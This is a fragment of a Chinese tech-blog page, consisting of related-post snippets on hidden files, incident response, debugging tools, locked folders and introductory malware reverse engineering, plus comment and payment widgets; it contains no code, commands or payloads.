在Windows和macOS系统中,文件消失往往并非数据丢失,而是被赋予了隐藏属性。NTFS文件系统通过H(隐藏)和S(系统)属性控制文件可见性,macOS则以点开头文件默认隐藏。理解这一底层原理,是解决‘隐藏文件夹怎么显示’问题的关键。无论是重装系统后系统文件不见,还是U盘容量被占用却看不到文件,掌握正确的显示方法都能快速定位。从资源管理器‘显示隐藏的项目’到文件夹选项中的‘隐藏受保护的操作系统文件’,再到attrib命令批量处理,以及macOS的Command+Shift+.快捷键,系统化的操作指南能帮

weixin_33770878的博客 233

应急响应学习-文件分析

应急响应学习

qq_49091880的博客 674

常用问题排查工具和分析神器,值得收藏

作为软件开发人员,如何才能提升我们的开发效率?如何才能快速地解决开发过程中遇到的何种问题?根据我多年来的开发经历及取得的经验,我们需要掌握一些常用的软件分析工具,借助这些工具,可以快速高效地分析和解决问题。............

猫哥 的沉淀、积累、总结。天天学习,好好向上...c/c++,嵌入式 linux,Android,HarmonyOS,AIOT) 7035

恶意代码逆向分析,从零基础到精通,收藏这篇就够了!

我们的目标是撰写一系列有关恶意软件分析的文章,并解释从简单的恶意软件二进制文件到最复杂的恶意软件,涵盖大量主题,例如。

baimao__Ch的博客 2021

解决“文件夹正在使用”无法删除?教你一键揪出占用进程

【Windows实用技巧】快速解决“文件夹被占用”问题 遇到无法删除/移动文件夹的提示时,无需重启电脑,Windows自带工具就能解决。推荐三种方法:1.使用资源监视器(Ctrl+Shift+Esc→性能→资源监视器→CPU→搜索文件夹名→结束对应进程);2.通过PowerToys的FileLocksmith功能一键查看并结束占用进程;3.使用ProcessExplorer深度排查隐藏进程。其中资源监视器是最推荐的原生解决方案,让开发者能快速解除文件占用状态,避免浪费时间重启系统。收藏这些技巧,轻松应对日常

qq_18646467的博客 1085

【2025版】最新恶意代码逆向分析,从零基础到精通,收藏这篇就够了!

当然,在自我注入的情况下,更容易找到恶意的二进制文件/payload。代码注入是 Window 系统上支持的操作,当然,它是一种非常有用的规避方法,因为恶意软件能够将恶意代码注入(写入)进程本身(自我注入)或远程(远程注入)的内存区域(有些人使用术语“段”)中,并且此有效负载将在目标上下文上执行,无论它是否成为它的一部分,并且不会留下很多证据。**关键是:当线程被创建时,会触发进程回调,并检查磁盘上文件的内容(好的),所以安全防御认为一切都很好,因为磁盘上的镜像是无害的,但真正的恶意在内存中。

Javachichi的博客 3212
上一篇: 建一个杀毒软件查不到的文件夹
下一篇: 原创 判断程序的执行环境是VM收藏
大浪淘沙1
博客等级 码龄19年 42粉丝 38原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值